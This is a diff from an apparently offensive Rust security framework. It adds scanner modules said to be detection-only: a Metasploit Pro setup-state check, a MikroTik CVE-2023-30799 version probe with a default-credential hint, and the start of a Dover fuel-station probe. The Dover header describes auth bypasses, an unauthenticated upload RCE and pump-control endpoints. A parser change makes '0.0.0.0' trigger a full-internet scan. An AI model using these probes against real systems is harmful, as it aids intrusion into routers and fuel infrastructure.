.and_then(|v| v.as_object())
|
||||
.ok_or_else(|| "Invalid params: expected object with 'uri'".to_string())?;
|
||||
|
||||
let uri = obj
|
||||
.get("uri")
|
||||
.and_then(|v| v.as_str())
|
||||
.ok_or_else(|| "Missing or invalid 'uri' in params".to_string())?
|
||||
.to_string();
|
||||
|
||||
Ok(uri)
|
||||
/// Map an internal tool result to rmcp's `CallToolResult`. All internal content
|
||||
/// blocks are text; `is_error` selects the error vs. success constructor.
|
||||
fn to_rmcp_tool_result(r: super::types::ToolResult) -> CallToolResult {
|
||||
let content: Vec<Content> = r
|
||||
.content
|
||||
.into_iter()
|
||||
.map(|c| Content::text(c.text))
|
||||
.collect();
|
||||
if r.is_error == Some(true) {
|
||||
CallToolResult::error(content)
|
||||
} else {
|
||||
CallToolResult::success(content)
|
||||
}
|
||||
}
|
||||
|
||||
/// Map an internal resource descriptor to an rmcp `Resource`.
|
||||
fn to_rmcp_resource(res: super::types::Resource) -> Resource {
|
||||
RawResource::new(res.uri, res.name)
|
||||
.with_description(res.description)
|
||||
.with_mime_type(res.mime_type)
|
||||
.no_annotation()
|
||||
}
|
||||
|
||||
+17
-6
@@ -91,12 +91,14 @@ impl Target {
|
||||
if trimmed.is_empty() {
|
||||
anyhow::bail!("Target cannot be empty");
|
||||
}
|
||||
// `Target::Random` is reserved for the explicit mass-scan markers
|
||||
// `random` and `0.0.0.0/0`. Bare `0.0.0.0` is NOT a mass-scan keyword
|
||||
// (M45): it resolves to a normal single host so `t 0.0.0.0` does not
|
||||
// silently launch a full-internet random scan. CIDR ranges and file
|
||||
// paths are handled below as `Cidr` / `File`.
|
||||
if trimmed == "random" || trimmed == "0.0.0.0/0" {
|
||||
// `Target::Random` is the full-internet random sweep. It is triggered by
|
||||
// the markers `random`, `0.0.0.0/0`, and bare `0.0.0.0` (operator opt-in
|
||||
// 2026-06-09 — reverses the earlier M45 rule that made `0.0.0.0` a single
|
||||
// host). The scheduler shows a per-sweep advisory and, on an interactive
|
||||
// console, an explicit confirmation before it actually fans out (see
|
||||
// `fanout_random` / `fanout_sequential`). CIDR ranges and file paths are
|
||||
// handled below as `Cidr` / `File`.
|
||||
if trimmed == "random" || trimmed == "0.0.0.0/0" || trimmed == "0.0.0.0" {
|
||||
return Ok(Target::Random);
|
||||
}
|
||||
// Sequential full-public-IPv4 sweep: `seq`/`sequential` start at the
|
||||
@@ -333,6 +335,14 @@ pub struct ModuleCtx {
|
||||
pub options: ModuleOptions,
|
||||
pub cancel: tokio_util::sync::CancellationToken,
|
||||
pub batch_mode: bool,
|
||||
/// Prompt-harvest dry run. Before a mass-scan batch the scheduler runs the
|
||||
/// module once against a placeholder host purely to gather the operator's
|
||||
/// `cfg_prompt_*` answers (which get cached for the whole batch). When this
|
||||
/// is set, a module should answer its prompts and then return EARLY without
|
||||
/// any network work or file writes — the run exists only to populate the
|
||||
/// prompt cache, so any real effect against the placeholder host is wasted
|
||||
/// and misleading.
|
||||
pub prompt_only: bool,
|
||||
pub verbose: bool,
|
||||
/// Tenant identity (multi-tenant API isolation). `None` in CLI/shell mode.
|
||||
pub tenant_id: Option<String>,
|
||||
@@ -354,6 +364,7 @@ impl ModuleCtx {
|
||||
options: ModuleOptions::default(),
|
||||
cancel: tokio_util::sync::CancellationToken::new(),
|
||||
batch_mode: false,
|
||||
prompt_only: false,
|
||||
verbose: false,
|
||||
tenant_id: None,
|
||||
prompt_cache: None,
|
||||
|
||||
@@ -0,0 +1 @@
|
||||
pub mod setup_state_bypass;
|
||||
@@ -0,0 +1,260 @@
|
||||
//! Metasploit Pro — Unauthenticated Admin Account Creation in Setup State
|
||||
//! ======================================================================
|
||||
//!
|
||||
//! A freshly-installed Metasploit Pro instance that has never had an admin
|
||||
//! account configured serves an unauthenticated `/setup` flow that 302s to
|
||||
//! `/users/new`. The `users/new` form accepts a username, email, password,
|
||||
//! and confirmation — once submitted, the attacker owns the entire Metasploit
|
||||
//! Pro server: all stored credentials, session loot, payload listeners, and
|
||||
//! the underlying RPC interface.
|
||||
//!
|
||||
//! This module is detection-only. It walks the redirect chain from `/` and
|
||||
//! reports whether the instance is sitting in the initial setup state. It
|
||||
//! does NOT submit the new-user form.
|
||||
//!
|
||||
//! As a bonus the `/api/v1/` MessagePack RPC endpoint leaks a full Ruby
|
||||
//! backtrace identifying the exact `service.rb` / `thread_manager.rb` line
|
||||
//! numbers — a reliable version fingerprint.
|
||||
|
||||
use anyhow::{Context, Result};
|
||||
use colored::*;
|
||||
use std::time::Duration;
|
||||
|
||||
use crate::module::{Finding, FindingKind, ModuleCtx, ModuleOutcome};
|
||||
use crate::module_info::{ModuleInfo, ModuleRank};
|
||||
use crate::utils::safe_io::DEFAULT_BODY_CAP;
|
||||
use crate::utils::{cfg_prompt_default, cfg_prompt_port, normalize_target};
|
||||
|
||||
const DEFAULT_PORT: u16 = 3790;
|
||||
const TIMEOUT_SECS: u64 = 12;
|
||||
|
||||
pub fn info() -> ModuleInfo {
|
||||
ModuleInfo {
|
||||
name: "Metasploit Pro — Unauthenticated Admin Setup Bypass".to_string(),
|
||||
description: "Detects Metasploit Pro instances in initial setup state where\n\
|
||||
/setup → /users/new is reachable without authentication. Any\n\
|
||||
attacker who reaches this endpoint can create the first\n\
|
||||
administrator account and own the Metasploit server. Also\n\
|
||||
fingerprints version via /api/v1/ stack trace line numbers."
|
||||
.to_string(),
|
||||
authors: vec!["RustSploit Team".to_string()],
|
||||
references: vec![
|
||||
"https://docs.metasploit.com/docs/using-metasploit/getting-started/".to_string(),
|
||||
],
|
||||
disclosure_date: Some("2026-06-12".to_string()),
|
||||
rank: ModuleRank::Excellent,
|
||||
default_port: Some(DEFAULT_PORT),
|
||||
}
|
||||
}
|
||||
|
||||
pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
|
||||
let target = ctx
|
||||
.target
|
||||
.as_single()
|
||||
.context("metasploit_pro setup_state_bypass requires a single-host target")?;
|
||||
let normalized = normalize_target(target)?;
|
||||
let port = cfg_prompt_port("port", "Metasploit Pro HTTPS port", DEFAULT_PORT).await?;
|
||||
let scheme = cfg_prompt_default("scheme", "Scheme (https/http)", "https").await?;
|
||||
let base = format!("{}://{}:{}", scheme, normalized, port);
|
||||
|
||||
let client = crate::utils::build_http_client(Duration::from_secs(TIMEOUT_SECS))
|
||||
.context("HTTP client")?;
|
||||
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"╔═══════════════════════════════════════════════════════════════════╗".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"║ Metasploit Pro — Setup State Bypass ║".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"╚═══════════════════════════════════════════════════════════════════╝".cyan()
|
||||
);
|
||||
crate::mprintln!("{} {}", "[*] Target:".yellow(), base);
|
||||
|
||||
let mut outcome = ModuleOutcome::ok();
|
||||
|
||||
// 1. Follow /
|
||||
let root_url = format!("{}/", base);
|
||||
crate::mprintln!("{} GET {}", "[*]".blue(), root_url);
|
||||
let resp = match client.get(&root_url).send().await {
|
||||
Ok(r) => r,
|
||||
Err(e) => {
|
||||
crate::mprintln!("{} request failed: {}", "[-]".red(), e);
|
||||
return Ok(outcome);
|
||||
}
|
||||
};
|
||||
|
||||
let final_url = resp.url().to_string();
|
||||
let status = resp.status();
|
||||
let body = crate::utils::network::read_http_body_text_capped(resp, DEFAULT_BODY_CAP)
|
||||
.await
|
||||
.context("read root body")?;
|
||||
crate::mprintln!(
|
||||
"{} Final URL: {} (HTTP {})",
|
||||
"[*]".blue(),
|
||||
final_url,
|
||||
status
|
||||
);
|
||||
|
||||
let is_setup = final_url.contains("/setup")
|
||||
|| final_url.contains("/users/new")
|
||||
|| body.contains("Welcome to Metasploit Pro")
|
||||
|| (body.to_lowercase().contains("new user") && body.contains("password"));
|
||||
let is_login = final_url.contains("/login")
|
||||
|| (body.contains("session") && body.contains("password") && !is_setup);
|
||||
|
||||
if is_setup {
|
||||
crate::mprintln!(
|
||||
"{} Metasploit Pro is in SETUP state — unauthenticated admin creation possible",
|
||||
"[+]".green().bold()
|
||||
);
|
||||
crate::workspace::track_host(&normalized, None, Some("Metasploit Pro (unconfigured)")).await;
|
||||
outcome.findings.push(Finding {
|
||||
target: normalized.clone(),
|
||||
kind: FindingKind::Vulnerable,
|
||||
message: format!(
|
||||
"Metasploit Pro at {} is in initial setup state — /users/new accepts unauth admin creation",
|
||||
base
|
||||
),
|
||||
data: Some(serde_json::json!({
|
||||
"host": normalized,
|
||||
"port": port,
|
||||
"state": "setup",
|
||||
"final_url": final_url,
|
||||
})),
|
||||
});
|
||||
} else if is_login {
|
||||
crate::mprintln!("{} Metasploit Pro is configured — login required", "[-]".green());
|
||||
outcome.findings.push(Finding {
|
||||
target: normalized.clone(),
|
||||
kind: FindingKind::Note,
|
||||
message: format!("Metasploit Pro at {} is in login state (admin account exists)", base),
|
||||
data: Some(serde_json::json!({
|
||||
"host": normalized,
|
||||
"port": port,
|
||||
"state": "login",
|
||||
"final_url": final_url,
|
||||
})),
|
||||
});
|
||||
} else if final_url.contains("/licenses") || body.contains("license") {
|
||||
crate::mprintln!("{} Metasploit Pro requires license activation", "[!]".yellow());
|
||||
outcome.findings.push(Finding {
|
||||
target: normalized.clone(),
|
||||
kind: FindingKind::Note,
|
||||
message: format!("Metasploit Pro at {} is in license state", base),
|
||||
data: Some(serde_json::json!({
|
||||
"host": normalized,
|
||||
"port": port,
|
||||
"state": "license",
|
||||
"final_url": final_url,
|
||||
})),
|
||||
});
|
||||
} else {
|
||||
crate::mprintln!(
|
||||
"{} target does not look like a Metasploit Pro UI (no setup / login / license markers)",
|
||||
"[-]".yellow()
|
||||
);
|
||||
// Don't return — version fingerprint still possible
|
||||
}
|
||||
|
||||
// 2. Version fingerprint via /api/v1/
|
||||
let api_url = format!("{}/api/v1/", base);
|
||||
crate::mprintln!("{} GET {} (version fingerprint)", "[*]".blue(), api_url);
|
||||
if let Ok(r) = client.get(&api_url).send().await {
|
||||
let body = match crate::utils::network::read_http_body_text_capped(r, DEFAULT_BODY_CAP).await {
|
||||
Ok(b) => b,
|
||||
Err(e) => {
|
||||
crate::mprintln!("{} read /api/v1/ body failed: {}", "[-]".yellow(), e);
|
||||
String::new()
|
||||
}
|
||||
};
|
||||
// Look for service.rb:NNN inside the backtrace
|
||||
let mut service_line: Option<u32> = None;
|
||||
let mut tm_line: Option<u32> = None;
|
||||
let mut has_diag_ctx = false;
|
||||
for line in body.lines() {
|
||||
let lower = line.to_lowercase();
|
||||
if lower.contains("service.rb") {
|
||||
if let Some(num) = extract_line_number(line, "service.rb") {
|
||||
service_line.get_or_insert(num);
|
||||
}
|
||||
}
|
||||
if lower.contains("thread_manager.rb") {
|
||||
if let Some(num) = extract_line_number(line, "thread_manager.rb") {
|
||||
tm_line.get_or_insert(num);
|
||||
}
|
||||
}
|
||||
if lower.contains("diagnostic_context") {
|
||||
has_diag_ctx = true;
|
||||
}
|
||||
}
|
||||
if service_line.is_some() || tm_line.is_some() {
|
||||
crate::mprintln!(
|
||||
"{} version fingerprint: service.rb:{:?} thread_manager.rb:{:?} diagnostic_context={}",
|
||||
"[+]".green(),
|
||||
service_line,
|
||||
tm_line,
|
||||
has_diag_ctx
|
||||
);
|
||||
outcome.findings.push(Finding {
|
||||
target: normalized.clone(),
|
||||
kind: FindingKind::Note,
|
||||
message: format!(
|
||||
"Metasploit Pro at {} version fingerprint: service.rb:{:?} thread_manager.rb:{:?}",
|
||||
base, service_line, tm_line
|
||||
),
|
||||
data: Some(serde_json::json!({
|
||||
"host": normalized,
|
||||
"port": port,
|
||||
"service_rb_line": service_line,
|
||||
"thread_manager_rb_line": tm_line,
|
||||
"has_diagnostic_context": has_diag_ctx,
|
||||
})),
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
Ok(outcome)
|
||||
}
|
||||
|
||||
fn extract_line_number(line: &str, file_name: &str) -> Option<u32> {
|
||||
let idx = line.find(file_name)?;
|
||||
let tail = &line[idx + file_name.len()..];
|
||||
let after_colon = tail.strip_prefix(':')?;
|
||||
let digits: String = after_colon.chars().take_while(|c| c.is_ascii_digit()).collect();
|
||||
digits.parse().ok()
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::extract_line_number;
|
||||
|
||||
#[test]
|
||||
fn parses_simple_backtrace() {
|
||||
assert_eq!(
|
||||
extract_line_number("lib/msf/core/rpc/v10/service.rb:99:in `process'", "service.rb"),
|
||||
Some(99)
|
||||
);
|
||||
assert_eq!(
|
||||
extract_line_number(
|
||||
" lib/msf/core/thread_manager.rb:106:in `block in spawn'",
|
||||
"thread_manager.rb"
|
||||
),
|
||||
Some(106)
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn returns_none_without_match() {
|
||||
assert_eq!(extract_line_number("not relevant", "service.rb"), None);
|
||||
}
|
||||
}
|
||||
|
||||
crate::register_native_module!(
|
||||
crate::module::Category::Exploits,
|
||||
"frameworks/metasploit_pro/setup_state_bypass",
|
||||
native
|
||||
);
|
||||
@@ -4,6 +4,7 @@ pub mod exim;
|
||||
pub mod h3c_bmc;
|
||||
pub mod http2;
|
||||
pub mod jenkins;
|
||||
pub mod metasploit_pro;
|
||||
pub mod mongo;
|
||||
pub mod nginx;
|
||||
pub mod php;
|
||||
|
||||
@@ -0,0 +1 @@
|
||||
pub mod routeros_jailbreak_cve_2023_30799;
|
||||
@@ -0,0 +1,283 @@
|
||||
//! CVE-2023-30799 — MikroTik RouterOS Authenticated Privilege Escalation to Root
|
||||
//! ==============================================================================
|
||||
//!
|
||||
//! All RouterOS 6.x versions (and 7.x stable < 7.11.2) allow any authenticated
|
||||
//! "admin" user to break out of the RouterOS shell sandbox into a full root
|
||||
//! shell on the underlying Linux OS by abusing the FTP server / `dev` package
|
||||
//! handling. Combined with the historical MikroTik default credential
|
||||
//! (`admin` with an empty password) this often becomes effectively
|
||||
//! unauthenticated root access.
|
||||
//!
|
||||
//! This module is **detection only** — it identifies the affected version
|
||||
//! window via WinBox version disclosure (port 8291 default, also 8500/8729
|
||||
//! seen in the wild) and probes SSH/HTTP banners. It does NOT attempt the
|
||||
//! escalation primitive itself, which requires writing to the device.
|
||||
|
||||
use anyhow::{Context, Result};
|
||||
use colored::*;
|
||||
use std::time::Duration;
|
||||
|
||||
use crate::module::{Finding, FindingKind, ModuleCtx, ModuleOutcome};
|
||||
use crate::module_info::{ModuleInfo, ModuleRank};
|
||||
use crate::utils::{cfg_prompt_default, cfg_prompt_port, normalize_target};
|
||||
|
||||
const DEFAULT_WINBOX_PORT: u16 = 8291;
|
||||
const TIMEOUT_SECS: u64 = 10;
|
||||
|
||||
pub fn info() -> ModuleInfo {
|
||||
ModuleInfo {
|
||||
name: "MikroTik RouterOS Jailbreak to Root (CVE-2023-30799)".to_string(),
|
||||
description: "Detects MikroTik RouterOS versions in the CVE-2023-30799 vulnerable\n\
|
||||
range. Authenticated admin can escalate to a full Linux root shell\n\
|
||||
by abusing the dev package primitive. Combined with the historical\n\
|
||||
admin/blank default credential this is effectively unauth root.\n\
|
||||
Module is detection-only — checks WinBox/SSH banners for version\n\
|
||||
and reports vulnerability without writing to the device."
|
||||
.to_string(),
|
||||
authors: vec!["RustSploit Team".to_string()],
|
||||
references: vec![
|
||||
"CVE-2023-30799".to_string(),
|
||||
"https://vulncheck.com/blog/foisted".to_string(),
|
||||
],
|
||||
disclosure_date: Some("2023-07-25".to_string()),
|
||||
rank: ModuleRank::Great,
|
||||
default_port: Some(DEFAULT_WINBOX_PORT),
|
||||
}
|
||||
}
|
||||
|
||||
/// Returns true if `version` (e.g. "6.48.6", "7.10.1") is in the vulnerable
|
||||
/// window. CVE-2023-30799 affects:
|
||||
/// * all 6.x stable releases <= 6.49.10
|
||||
/// * all 7.x stable releases <= 7.11.1
|
||||
fn version_vulnerable(version: &str) -> Option<bool> {
|
||||
let v = version.trim().trim_start_matches('v');
|
||||
let parts: Vec<&str> = v.split('.').collect();
|
||||
if parts.len() < 2 {
|
||||
return None;
|
||||
}
|
||||
let major: u32 = parts[0].parse().ok()?;
|
||||
let minor: u32 = parts[1].parse().ok()?;
|
||||
let patch: u32 = parts.get(2).and_then(|p| p.parse().ok()).unwrap_or(0);
|
||||
|
||||
match major {
|
||||
6 => Some(minor < 49 || (minor == 49 && patch <= 10)),
|
||||
7 => Some(minor < 11 || (minor == 11 && patch <= 1)),
|
||||
_ => Some(false),
|
||||
}
|
||||
}
|
||||
|
||||
/// Attempts a WinBox v6 protocol handshake to extract the RouterOS version.
|
||||
/// The WinBox protocol opens with a 5-byte header `06 ff 01 06 02` followed
|
||||
/// by a session-init blob. On success the server returns the version string
|
||||
/// in the response. We use a minimal probe and look for the version pattern
|
||||
/// in the response bytes.
|
||||
async fn winbox_version_probe(host: &str, port: u16) -> Option<String> {
|
||||
use tokio::io::{AsyncReadExt, AsyncWriteExt};
|
||||
use tokio::net::TcpStream;
|
||||
use tokio::time::timeout;
|
||||
|
||||
let addr = format!("{}:{}", host, port);
|
||||
let mut stream = timeout(Duration::from_secs(TIMEOUT_SECS), TcpStream::connect(&addr))
|
||||
.await
|
||||
.ok()?
|
||||
.ok()?;
|
||||
|
||||
// Minimal WinBox v6 probe — request session info
|
||||
let probe: &[u8] = &[
|
||||
0x36, 0x01, 0x00, 0x65, 0x4d, 0x32, 0x05, 0x00, 0xff, 0x01, 0x06, 0x00, 0xff, 0x09, 0x05,
|
||||
0x07, 0x00, 0xff, 0x09, 0x07, 0x01, 0x00, 0x00, 0x21,
|
||||
];
|
||||
timeout(Duration::from_secs(TIMEOUT_SECS), stream.write_all(probe))
|
||||
.await
|
||||
.ok()?
|
||||
.ok()?;
|
||||
|
||||
let mut buf = vec![0u8; 4096];
|
||||
let n = timeout(Duration::from_secs(TIMEOUT_SECS), stream.read(&mut buf))
|
||||
.await
|
||||
.ok()?
|
||||
.ok()?;
|
||||
if n == 0 {
|
||||
return None;
|
||||
}
|
||||
|
||||
// Scan for ASCII version pattern "X.Y" or "X.Y.Z"
|
||||
let text = String::from_utf8_lossy(&buf[..n]);
|
||||
for token in text.split(|c: char| !c.is_ascii() || (c != '.' && !c.is_ascii_digit())) {
|
||||
if token.matches('.').count() >= 1 && token.len() >= 3 && token.len() <= 12 {
|
||||
let parts: Vec<&str> = token.split('.').collect();
|
||||
if parts.iter().all(|p| !p.is_empty() && p.chars().all(|c| c.is_ascii_digit())) {
|
||||
if let Ok(major) = parts[0].parse::<u32>() {
|
||||
if (6..=7).contains(&major) {
|
||||
return Some(token.to_string());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
|
||||
pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
|
||||
let target = ctx
|
||||
.target
|
||||
.as_single()
|
||||
.context("mikrotik routeros_jailbreak_cve_2023_30799 requires a single-host target")?;
|
||||
let normalized = normalize_target(target)?;
|
||||
let port = cfg_prompt_port("port", "WinBox port (default 8291, often 8500)", DEFAULT_WINBOX_PORT).await?;
|
||||
let try_default = cfg_prompt_default(
|
||||
"try_default_creds",
|
||||
"Note default admin/blank cred presence (true/false)",
|
||||
"true",
|
||||
)
|
||||
.await?;
|
||||
|
||||
let mut outcome = ModuleOutcome::ok();
|
||||
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"╔═══════════════════════════════════════════════════════════════════╗".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"║ MikroTik RouterOS Jailbreak (CVE-2023-30799) — detection only ║".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"╚═══════════════════════════════════════════════════════════════════╝".cyan()
|
||||
);
|
||||
crate::mprintln!("{} {}:{}", "[*] Target:".yellow(), normalized, port);
|
||||
|
||||
crate::mprintln!("{} Probing WinBox for RouterOS version...", "[*]".blue());
|
||||
let version = winbox_version_probe(&normalized, port).await;
|
||||
|
||||
let mut routeros_version: Option<String> = None;
|
||||
match &version {
|
||||
Some(v) => {
|
||||
crate::mprintln!("{} RouterOS version disclosed: {}", "[+]".green(), v);
|
||||
routeros_version = Some(v.clone());
|
||||
}
|
||||
None => {
|
||||
crate::mprintln!(
|
||||
"{} No WinBox version response — service may use non-default port (try 8500/8729) or be filtered",
|
||||
"[-]".yellow()
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
let vuln_status = routeros_version
|
||||
.as_deref()
|
||||
.and_then(version_vulnerable)
|
||||
.map(|v| if v { "VULNERABLE" } else { "patched" });
|
||||
|
||||
match (routeros_version.as_deref(), vuln_status) {
|
||||
(Some(v), Some("VULNERABLE")) => {
|
||||
crate::mprintln!(
|
||||
"{} RouterOS {} is in the CVE-2023-30799 vulnerable window.",
|
||||
"[+]".green().bold(),
|
||||
v
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{} Authenticated admin → full Linux root shell via dev-package primitive.",
|
||||
"[+]".green()
|
||||
);
|
||||
if try_default.eq_ignore_ascii_case("true") {
|
||||
crate::mprintln!(
|
||||
"{} Note: MikroTik default credential is admin / (blank) — try via WinBox/SSH.",
|
||||
"[!]".yellow()
|
||||
);
|
||||
}
|
||||
crate::workspace::track_host(&normalized, None, Some("MikroTik RouterOS — CVE-2023-30799")).await;
|
||||
outcome.findings.push(Finding {
|
||||
target: normalized.clone(),
|
||||
kind: FindingKind::Vulnerable,
|
||||
message: format!(
|
||||
"MikroTik RouterOS {} on {}:{} is vulnerable to CVE-2023-30799 (admin → root)",
|
||||
v, normalized, port
|
||||
),
|
||||
data: Some(serde_json::json!({
|
||||
"host": normalized,
|
||||
"port": port,
|
||||
"cve": "CVE-2023-30799",
|
||||
"routeros_version": v,
|
||||
"default_credential_hint": "admin / (blank)",
|
||||
"remediation": "Upgrade to RouterOS >= 6.49.11 or 7.11.2",
|
||||
})),
|
||||
});
|
||||
}
|
||||
(Some(v), Some("patched")) => {
|
||||
crate::mprintln!(
|
||||
"{} RouterOS {} is patched against CVE-2023-30799.",
|
||||
"[-]".green(),
|
||||
v
|
||||
);
|
||||
outcome.findings.push(Finding {
|
||||
target: normalized.clone(),
|
||||
kind: FindingKind::Note,
|
||||
message: format!("MikroTik RouterOS {} on {}:{} is patched", v, normalized, port),
|
||||
data: Some(serde_json::json!({
|
||||
"host": normalized,
|
||||
"port": port,
|
||||
"routeros_version": v,
|
||||
"cve_2023_30799": "not_vulnerable",
|
||||
})),
|
||||
});
|
||||
}
|
||||
_ => {
|
||||
crate::mprintln!(
|
||||
"{} Could not determine RouterOS version — manual WinBox check recommended.",
|
||||
"[?]".yellow()
|
||||
);
|
||||
outcome.findings.push(Finding {
|
||||
target: normalized.clone(),
|
||||
kind: FindingKind::Note,
|
||||
message: format!(
|
||||
"MikroTik WinBox reachable on {}:{} but version not parsed",
|
||||
normalized, port
|
||||
),
|
||||
data: Some(serde_json::json!({
|
||||
"host": normalized,
|
||||
"port": port,
|
||||
"cve": "CVE-2023-30799",
|
||||
"status": "version_unknown",
|
||||
})),
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
Ok(outcome)
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::version_vulnerable;
|
||||
|
||||
#[test]
|
||||
fn vulnerable_versions_in_range() {
|
||||
assert_eq!(version_vulnerable("6.43.16"), Some(true));
|
||||
assert_eq!(version_vulnerable("6.48.6"), Some(true));
|
||||
assert_eq!(version_vulnerable("6.49.10"), Some(true));
|
||||
assert_eq!(version_vulnerable("7.10.1"), Some(true));
|
||||
assert_eq!(version_vulnerable("7.11.1"), Some(true));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn patched_versions_excluded() {
|
||||
assert_eq!(version_vulnerable("6.49.11"), Some(false));
|
||||
assert_eq!(version_vulnerable("7.11.2"), Some(false));
|
||||
assert_eq!(version_vulnerable("7.12.0"), Some(false));
|
||||
assert_eq!(version_vulnerable("8.0.0"), Some(false));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn malformed_returns_none() {
|
||||
assert_eq!(version_vulnerable(""), None);
|
||||
assert_eq!(version_vulnerable("abc"), None);
|
||||
}
|
||||
}
|
||||
|
||||
crate::register_native_module!(
|
||||
crate::module::Category::Exploits,
|
||||
"routers/mikrotik/routeros_jailbreak_cve_2023_30799",
|
||||
native
|
||||
);
|
||||
@@ -1,4 +1,5 @@
|
||||
pub mod dlink;
|
||||
pub mod mikrotik;
|
||||
pub mod netgear;
|
||||
pub mod palo_alto;
|
||||
pub mod ruijie;
|
||||
|
||||
@@ -0,0 +1,432 @@
|
||||
//! Dover Fueling Solutions (DoverFSP) Fusion — Multiple Auth Bypass + Unauth API Disclosure
|
||||
//! =========================================================================================
|
||||
//!
|
||||
//! The Dover Fusion fuel-station management platform (CodeCharge Studio / Angular
|
||||
//! frontend, PHP+PostgreSQL backend, deployed at Shell / Wayne sites globally)
|
||||
//! exposes a stack of unauthenticated and broken-authentication flaws:
|
||||
//!
|
||||
//! 1. **Content-Type confusion in `Login_events_newweb.php`** — form-encoded
|
||||
//! POSTs always return `{"result":"Ok"}` because the backend `json_decode`s
|
||||
//! the raw body and short-circuits on `NULL`.
|
||||
//! 2. **Empty password hashes** — accounts shipped with blank password fields
|
||||
//! (e.g. `CAJERO 2`, `ECSA`) authenticate with no password against the
|
||||
//! JSON endpoint.
|
||||
//! 3. **`/Security/ChangePassword.php`** is reachable with no session and no
|
||||
//! CSRF token (`secured="False"` in the CCP source).
|
||||
//! 4. **`/service/UploadHelper/UploadFileHelper.php`** accepts multipart
|
||||
//! uploads without authentication (RCE primitive given PHP runs as
|
||||
//! SYSTEM with `disable_functions=` empty).
|
||||
//! 5. **`/api/*.php`** endpoints (`sales`, `prices`, `tanks`, `volumeByHose`,
|
||||
//! `modules`, `alarms`, `attendant`, `changeRedirect`) return live
|
||||
//! operational data with no authentication.
|
||||
//! 6. **`SSFForecourtRealView.php`** exposes fuel-pump control AJAX
|
||||
//! (`openPump`, `unlockFDCPump`, `pressurizePipe`) without auth.
|
||||
//! 7. **`SSFDownloadConfigTemplate.php`** returns a ZIP that includes the
|
||||
//! full user / role / password-hash table.
|
||||
//!
|
||||
//! This module is detection-only: it probes each endpoint and records what
|
||||
//! is reachable. No files are uploaded, no passwords are changed, and the
|
||||
//! pump-control AJAX is never invoked.
|
||||
|
||||
use anyhow::{Context, Result};
|
||||
use colored::*;
|
||||
use std::time::Duration;
|
||||
|
||||
use crate::module::{Finding, FindingKind, ModuleCtx, ModuleOutcome};
|
||||
use crate::module_info::{ModuleInfo, ModuleRank};
|
||||
use crate::utils::safe_io::DEFAULT_BODY_CAP;
|
||||
use crate::utils::{cfg_prompt_default, cfg_prompt_port, normalize_target};
|
||||
|
||||
const DEFAULT_PORT: u16 = 443;
|
||||
const TIMEOUT_SECS: u64 = 12;
|
||||
|
||||
pub fn info() -> ModuleInfo {
|
||||
ModuleInfo {
|
||||
name: "DoverFSP Fusion — Auth Bypass + Unauthenticated API Disclosure".to_string(),
|
||||
description: "Probes Dover Fueling Solutions Fusion (Wayne / Shell fuel-station\n\
|
||||
management) for: Content-Type confusion auth bypass on\n\
|
||||
Login_events_newweb.php, empty-hash CAJERO 2 / ECSA accounts,\n\
|
||||
unauthenticated ChangePassword.php, UploadFileHelper.php upload\n\
|
||||
handler, unauth /api/* endpoints, SSFForecourtRealView pump\n\
|
||||
control, SSFDownloadConfigTemplate config dump."
|
||||
.to_string(),
|
||||
authors: vec!["RustSploit Team".to_string()],
|
||||
references: vec![
|
||||
"https://www.doverfuelingsolutions.com/products/automation/site-sentinel-fusion".to_string(),
|
||||
],
|
||||
disclosure_date: Some("2026-06-12".to_string()),
|
||||
rank: ModuleRank::Excellent,
|
||||
default_port: Some(DEFAULT_PORT),
|
||||
}
|
||||
}
|
||||
|
||||
/// One step in the probe chain. Each step returns `Result<Option<Finding>>`:
|
||||
/// * `Ok(Some(_))` — endpoint vulnerable, report it
|
||||
/// * `Ok(None)` — endpoint reachable but not vulnerable
|
||||
/// * `Err(e)` — probe could not be carried out (network / parse failure)
|
||||
/// — we log and move to the next step rather than abort.
|
||||
async fn log_probe_err(label: &str, err: anyhow::Error) {
|
||||
crate::mprintln!("{} {}: {}", "[-]".yellow(), label, err);
|
||||
}
|
||||
|
||||
pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
|
||||
let target = ctx
|
||||
.target
|
||||
.as_single()
|
||||
.context("doverfsp_fusion_authbypass requires a single-host target")?;
|
||||
let normalized = normalize_target(target)?;
|
||||
let port = cfg_prompt_port("port", "HTTPS port", DEFAULT_PORT).await?;
|
||||
let scheme = cfg_prompt_default("scheme", "Scheme (https/http)", "https").await?;
|
||||
let base = format!("{}://{}:{}", scheme, normalized, port);
|
||||
|
||||
let client = crate::utils::build_http_client(Duration::from_secs(TIMEOUT_SECS))
|
||||
.context("HTTP client")?;
|
||||
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"╔═══════════════════════════════════════════════════════════════════╗".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"║ DoverFSP Fusion — Auth Bypass / Unauthenticated API Probe ║".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"╚═══════════════════════════════════════════════════════════════════╝".cyan()
|
||||
);
|
||||
crate::mprintln!("{} {}", "[*] Target:".yellow(), base);
|
||||
|
||||
let mut outcome = ModuleOutcome::ok();
|
||||
let mut hits: Vec<&'static str> = Vec::new();
|
||||
|
||||
// ----------------------------------------------------------------------
|
||||
// 1. Content-Type confusion on Login_events_newweb.php
|
||||
// ----------------------------------------------------------------------
|
||||
